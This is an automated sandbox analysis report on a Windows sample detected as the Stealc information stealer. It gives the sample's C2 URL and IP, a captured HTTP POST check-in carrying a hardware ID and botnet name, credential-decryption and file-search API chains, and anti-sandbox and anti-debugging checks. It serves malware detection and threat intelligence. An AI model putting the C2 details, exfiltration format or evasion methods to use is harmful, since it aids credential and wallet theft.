Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1523253
MD5:	7104794e5bc6d9668df3a837983e43df
SHA1:	6bbeef17a4443db7e332123055796aace85064d6
SHA256:	e1eca91fddecc4eb0729d7a47e7950cd07bcfe3a195721c2ea132e79654a9fbf
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6968 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7104794E5BC6D9668DF3A837983E43DF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1660531613.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6968	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6968	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.470000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T11:06:56.881309+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.470000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/e2b1563c6670f193.php2	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/ws	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php(	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php$	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php0	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php/	Virustotal: Detection: 17%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0047C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00477240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00477240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00479AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00479AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00479B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00479B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00488EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00488EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00484910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00484910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0047DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0047E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00484570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00484570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0047ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0047BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0047DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00483EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00483EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0047F6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFHCAKFBGDHIDHIDBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 46 36 39 45 33 34 37 32 45 42 33 32 39 34 35 36 34 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 2d 2d 0d 0a Data Ascii: ------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="hwid"1BF69E3472EB3294564547------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="build"doma------IEBFHCAKFBGDHIDHIDBK--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00474880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00474880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFHCAKFBGDHIDHIDBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 46 36 39 45 33 34 37 32 45 42 33 32 39 34 35 36 34 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 2d 2d 0d 0a Data Ascii: ------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="hwid"1BF69E3472EB3294564547------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="build"doma------IEBFHCAKFBGDHIDHIDBK--

Source: file.exe, 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1701335364.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php$
Source: file.exe, 00000000.00000002.1701335364.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php(
Source: file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/
Source: file.exe, 00000000.00000002.1701335364.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0
Source: file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37a

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE	0_2_008470EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081405A	0_2_0081405A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083E98A	0_2_0083E98A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00836992	0_2_00836992
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079E1FD	0_2_0079E1FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D525A	0_2_007D525A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00834AB7	0_2_00834AB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00843AFE	0_2_00843AFE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C03EB	0_2_007C03EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00839B55	0_2_00839B55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083337B	0_2_0083337B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00848C69	0_2_00848C69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C65EE	0_2_007C65EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084056C	0_2_0084056C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00791E63	0_2_00791E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083B631	0_2_0083B631
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084566A	0_2_0084566A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083CFC3	0_2_0083CFC3

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004745C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: gbgxsggn ZLIB complexity 0.9950286764152364

Source: file.exe, 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1660531613.0000000004E30000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00489600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00489600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00483720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00483720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\SLZY7IB3.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1856512 > 1048576

Source: file.exe

Static PE information: Raw size of gbgxsggn is bigger than: 0x100000 < 0x19f200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.470000.0.unpack :EW;.rsrc :W;.idata :W; :EW;gbgxsggn:EW;lycvdkjm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;gbgxsggn:EW;lycvdkjm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00489860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00489860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c8b51 should be: 0x1cdca0

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: gbgxsggn
Source: file.exe	Static PE information: section name: lycvdkjm
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008CA0CD push ebp; mov dword ptr [esp], edi	0_2_008CA232
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E8C5 push ebx; mov dword ptr [esp], 7143CB12h	0_2_0087E8CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E8C5 push esi; mov dword ptr [esp], 350B16FAh	0_2_0087E9C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E8C5 push 7897271Ah; mov dword ptr [esp], ecx	0_2_0087E9E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E8C5 push 0094117Bh; mov dword ptr [esp], ebx	0_2_0087EA3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E8C5 push edx; mov dword ptr [esp], ecx	0_2_0087EA45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E8C5 push edi; mov dword ptr [esp], 7FEAC600h	0_2_0087EA6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E8C5 push ebx; mov dword ptr [esp], edx	0_2_0087EB22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E8C5 push eax; mov dword ptr [esp], edi	0_2_0087EB48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009340CA push esi; mov dword ptr [esp], edi	0_2_0093411F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 5DF1614Eh; mov dword ptr [esp], ecx	0_2_008470F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 75952BD9h; mov dword ptr [esp], esp	0_2_008470FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 577BDCD8h; mov dword ptr [esp], eax	0_2_00847107
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push ecx; mov dword ptr [esp], 7B6D5C07h	0_2_00847181
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push eax; mov dword ptr [esp], ecx	0_2_008471AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 0A84D161h; mov dword ptr [esp], ebx	0_2_008471DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 43DAD500h; mov dword ptr [esp], eax	0_2_00847232
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 04E0A463h; mov dword ptr [esp], edx	0_2_00847258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push ebx; mov dword ptr [esp], edx	0_2_0084728A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push edi; mov dword ptr [esp], 0F4B41A9h	0_2_008472D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 702D5DA7h; mov dword ptr [esp], ebx	0_2_00847304
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 254253A1h; mov dword ptr [esp], esp	0_2_00847319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push eax; mov dword ptr [esp], ebx	0_2_008473C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 439D5E55h; mov dword ptr [esp], esi	0_2_00847443
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push edx; mov dword ptr [esp], 7BF4A8F4h	0_2_008474DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 061708AAh; mov dword ptr [esp], esi	0_2_00847514
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push ebp; mov dword ptr [esp], edi	0_2_0084756B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 702ED301h; mov dword ptr [esp], ebp	0_2_0084757B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 464B79A3h; mov dword ptr [esp], edx	0_2_0084763D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push 23E74B00h; mov dword ptr [esp], ebp	0_2_00847659
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008470EE push edx; mov dword ptr [esp], 00000069h	0_2_0084767D

Source: file.exe

Static PE information: section name: gbgxsggn entropy: 7.953932899320452

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00489860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13602

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1AC5 second address: 6D1ADA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jnp 00007F7F1CE19AA6h 0x00000011 pop edx 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E9DA second address: 84E9FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7F1D21A777h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E9FD second address: 84EA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EA01 second address: 84EA21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F7F1D21A773h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EA21 second address: 84EA3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1CE19AB3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EA3A second address: 84EA3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
